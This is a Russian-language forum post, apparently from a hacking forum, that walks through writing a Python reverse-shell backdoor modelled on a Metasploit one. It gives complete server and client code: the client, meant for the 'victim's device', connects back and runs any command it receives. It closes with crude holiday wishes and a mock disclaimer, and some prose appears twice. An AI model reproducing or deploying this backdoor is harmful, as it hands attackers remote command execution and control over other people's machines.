Eteriass
VIP
Привет ребятки. Вместе с природой очистилось и мое сознание, настолько, что я вспомнил пароль> А так как последняя тема вроде как была с бэкдором из метасплоита на питоне, мы сегодня воссоздадим этот самый бэкдор и глянем таки, шо у него внутри. Погнали
Для написания сего инструмента мы будем использовать блага стандартной библиотеки, а именно ՝ os, subprocess ну и socket разумеется. Как говорил один мой рыжий товарищ :
Файлов будет 2, клиентское и серверное приложение соответственно. Начнем с сервера
И клиент:
Такс, ну щас попробуем, за неимением альтернативы, и злоумышленником и жертвой буду я сам, иии
Как видим команды выполняются, исполним еще несколько:
И, все как видим в порядке.
Такс, ну и что же мне пиздануть напоследок, хмм... Ну , во первых с вот-вот наступающим Новым Годом вас! Такая короткая статейка конечно так себе подарок, но и старик Чумной доктор это вам не Дед Мороз). Хочу... я много чего хочу, но конкретно сейчас, хочу пожелать вам счастья, здоровья и запасной печени, чтобы эти праздники **кхм** пережить...
P.s. Ну куда же мы без дисклеймера
На этом пожалуй все и не забывайте, что статья написана только для ознакомления, и вообще все это фотошоп, монтаж, бред, БДСМ и другие умные слова. А автор писал под диктовку высших сил, и в душе не ебет че только что произошло, вот. Через года два, дай Бог свидимся)
P.p.s Если лень переписывать, файлы найдете тут
Для написания сего инструмента мы будем использовать блага стандартной библиотеки, а именно ՝ os, subprocess ну и socket разумеется. Как говорил один мой рыжий товарищ :
Файлов будет 2, клиентское и серверное приложение соответственно. Начнем с сервера
Python:
# Импортируем модуль для работы с сокетами
import socket
#Объявляем несколько констант, они нам понадобяться попозже.
#Названия переменных говорят сами за себя. Наш айпи, порт, на котором мы ждем подключение
#размер буфера для входящих данных, ну и разделитель для метода split
SERVER_HOST = "0.0.0.0"
SERVER_PORT = 5003
BUFFER_SIZE = 1024 * 128
SEPARATOR = "---"
s = socket.socket() #Создаем экземпляр классa socket
s.bind((SERVER_HOST, SERVER_PORT)) #Кортежом передаем методу bind наш айпи и порт
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) #Повторное использование IP-адреса и порта
s.listen(5) #Начинаем слушать
print(f"Слушаем {SERVER_HOST}:{SERVER_PORT} ...")
client_socket, client_address = s.accept() #Принимаем подключение
print(f"{client_address[0]}:{client_address[1]} Connected!")
cwd = client_socket.recv(BUFFER_SIZE).decode()#Декодируем байтовую строку
print("Рабочий каталог :", cwd)
#Начинамем бесконечный цикл, в котором отправляем команду нашему клиенту, который находиться на устройстве жертвы
#Получаем вывод команды, декодируем и вывдоим, и так до тех пор, пока мы не ввели команду "exit"
while True:
command = input(f"{cwd} $> ")
if not command.strip():
continue
client_socket.send(command.encode())
if command.lower() == "exit":
break
output = client_socket.recv(BUFFER_SIZE).decode('utf-8')
print("Вывод :", output)
results, cwd = output.split(SEPARATOR)
print(results)
#Отключаем клиента и закрываем сокет
client_socket.close()
s.close()
И клиент:
Python:
# Импортируем модуль для работы с сокетами
# Модуль для работы с операционной системой
# Модуль для запуска процессов из питона
import socket
import os
import subprocess
#Объявляем несколько констант, они нам понадобяться попозже.
#Названия переменных говорят сами за себя. Наш айпи, порт, на котором мы ждем подключение
#размер буфера для входящих данных, ну и разделитель для метода split
SERVER_HOST = "localhost"
SERVER_PORT = 5003
BUFFER_SIZE = 1024 * 128
SEPARATOR = "---"
s = socket.socket() #Создаем экземпляр классa socket
s.connect((SERVER_HOST, SERVER_PORT)) #Кортежом передаем методу connect айпи и порт нашего сервера
cwd = os.getcwd() #Получаем адрес каталога, в котором находимся
s.send(cwd.encode()) #Отправляем адрес серверу
#Начинаем бесконечный цикл, в котором получаем команду от сервера и исполняем
while True:
command = s.recv(BUFFER_SIZE).decode()
#Разделяем команду по разделителю, который мы создали раньше
splited_command = command.split(SEPARATOR)
if command.lower() == "exit": #если получаенная команда, это "exit", выходим из цикла и закрываем подключение
break
if "cd " in command: #Если "слово" cd присутствует в нашей команде
try:
"""
Удаляем "cd"
меняем каталог на тот, который указан в строке
"""
directory = str(command).replace('cd ', '').strip()
os.chdir(str(directory))
except FileNotFoundError as e: #если файл не найден, передаем ошибку
output = str(e)
else:
output = "" #Если ни один из исключений не произошел, переопределяем вывод в пустую строку
else: #А если это не команда "cd", просто исполняем эту команду и возвращаем вывод
output = subprocess.getoutput(command)
cwd = os.getcwd() #Получаем рабочий каталог
message = f"{output}{SEPARATOR}{cwd}" #Формируем наш ответ серверу
s.send(message.encode()) #Отправляем
#Если цикл прерван, закрываем сокет
s.close()
Такс, ну щас попробуем, за неимением альтернативы, и злоумышленником и жертвой буду я сам, иии
Как видим команды выполняются, исполним еще несколько:
И, все как видим в порядке.
Такс, ну и что же мне пиздануть напоследок, хмм... Ну , во первых с вот-вот наступающим Новым Годом вас! Такая короткая статейка конечно так себе подарок, но и старик Чумной доктор это вам не Дед Мороз). Хочу... я много чего хочу, но конкретно сейчас, хочу пожелать вам счастья, здоровья и запасной печени, чтобы эти праздники **кхм** пережить...
P.s. Ну куда же мы без дисклеймера
На этом пожалуй все и не забывайте, что статья написана только для ознакомления, и вообще все это фотошоп, монтаж, бред, БДСМ и другие умные слова. А автор писал под диктовку высших сил, и в душе не ебет че только что произошло, вот. Через года два, дай Бог свидимся)
P.p.s Если лень переписывать, файлы найдете тут